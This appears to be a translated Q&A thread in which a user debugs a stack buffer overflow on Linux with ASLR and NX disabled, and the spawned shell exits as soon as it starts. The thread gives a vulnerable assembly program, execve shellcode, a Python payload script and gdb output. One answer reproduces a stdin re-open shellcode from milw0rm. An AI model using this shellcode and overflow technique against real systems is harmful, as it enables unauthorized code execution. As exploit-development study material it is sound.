简单堆栈溢出的 Shellcode：带有 shell 的被利用程序在 execve(“/bin/sh”) 之后直接终止

Question

我在 Linux (amd64) 上尝试了缓冲区溢出并尝试利用一个简单的程序，但失败了。我禁用了安全功能（使用 sysctl -w kernel.randomize_va_space=0 和 BIOS 中的 nx 位进行地址空间布局随机化）。它跳转到堆栈并执行 shellcode，但不会启动 shell。 execve 系统调用成功，但随后终止。知道出了什么问题吗？独立运行 shellcode 效果很好。

附加问题：为什么在调用 printf 之前需要将 rax 设置为零？ （参见代码中的注释）

漏洞文件 buffer.s：

.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax 
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret

shellcode.s

.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output

编译于：

$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s

起始于：

$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328

使用 gdb 进行调试：

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash

Program exited normally.

Answer 1

我现在在虚拟机中使用 Ubuntu 9.10 时遇到了几乎相同的问题。
禁用操作系统的所有安全措施，并且像“退出程序并将退出代码设置为 42”这样的简单漏洞确实有效，但当尝试打开 shell 时，程序就会终止。
gdb 的输出是相同的：

(gdb) run < exploit.0xbffff3b8 
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8

Enter password: Sorry. Wrong password.
Executing new program: /bin/bash

Program exited normally.
(gdb)

问题是，我需要它在大约 10 秒内工作。 16 小时的演示:-D

---

更新:
我发现了这个巧妙的研究：www.shell-storm.org/papers/files/539.pdf

在第 16 页上它说：
“如果我们尝试执行 shell，它会在此配置中立即终止”

在不使用 gets() 的其他示例中，它们很好地生成了 shell。不幸的是，他们没有暗示为什么它不能那样工作。 :(

---

下次更新：
看来它与标准输入有关。 shell 无法正确使用从原始进程获取的进程。我尝试使用一个最小的 shell，我找到了 (evilsh) 的源代码。它在尝试读取输入时崩溃了。我的猜测是， bash/dash 检查这一点，并在标准输入出现问题时默默退出。

---

好吧，请不要因为我在这里与自己对话而杀了我，但是......

我找到了解决方案！

由于某种原因，有必要重新打开输入。我在这里找到了一个有效的 shellcode：

http://www.milw0rm.com/shellcode/2040

我没有看到提示，但我可以使用打开的 shell 运行程序等。

Answer 2

Zenoc 提供的链接已失效，但仍然可以在 Wayback 机器中找到。为了方便起见，我将其复制如下。我必须在顶部添加 add $0x10,%esp 来给我更多的堆栈空间，因为代码中的所有 push 都会进入我的 shellcode 所在的缓冲区存储。如果您也想将其包含到 shellcode 中，只需在开头添加“\x83\xc4\x10”即可。没有我添加的 shellcode 为 55 个字节，添加后为 58 个字节。

/*
 * $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
 *
 * gets-linux.c - stdin re-open shellcode for Linux/x86
 * Copyright (c) 2003 Marco Ivaldi <[email protected]>
 *
 * Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
 * descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
 * Useful to exploit some gets() buffer overflows in an elegant way...
 */

/*
 * close(0) 
 *
 * 8049380:       31 c0                   xor    %eax,%eax
 * 8049382:       31 db                   xor    %ebx,%ebx
 * 8049384:       b0 06                   mov    $0x6,%al
 * 8049386:       cd 80                   int    $0x80
 *
 * open("/dev/tty", O_RDWR | ...)
 *
 * 8049388:       53                      push   %ebx
 * 8049389:       68 2f 74 74 79          push   $0x7974742f
 * 804938e:       68 2f 64 65 76          push   $0x7665642f
 * 8049393:       89 e3                   mov    %esp,%ebx
 * 8049395:       31 c9                   xor    %ecx,%ecx
 * 8049397:       66 b9 12 27             mov    $0x2712,%cx
 * 804939b:       b0 05                   mov    $0x5,%al
 * 804939d:       cd 80                   int    $0x80
 *
 * execve("/bin/sh", ["/bin/sh"], NULL)
 *
 * 804939f:       31 c0                   xor    %eax,%eax
 * 80493a1:       50                      push   %eax
 * 80493a2:       68 2f 2f 73 68          push   $0x68732f2f
 * 80493a7:       68 2f 62 69 6e          push   $0x6e69622f
 * 80493ac:       89 e3                   mov    %esp,%ebx
 * 80493ae:       50                      push   %eax
 * 80493af:       53                      push   %ebx
 * 80493b0:       89 e1                   mov    %esp,%ecx
 * 80493b2:       99                      cltd   
 * 80493b3:       b0 0b                   mov    $0xb,%al
 * 80493b5:       cd 80                   int    $0x80
 */

char sc[] = 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

main()
{
    int (*f)() = (int (*)())sc; f();
}

// milw0rm.com [2006-07-20]

注意：我无法将此作为编辑添加到 Zenoc 的答案中，因为编辑队列已满。

如果由于终端和 gdb 中的堆栈不同而无法确定 shellcode 的地址，请查看我的答案 这里。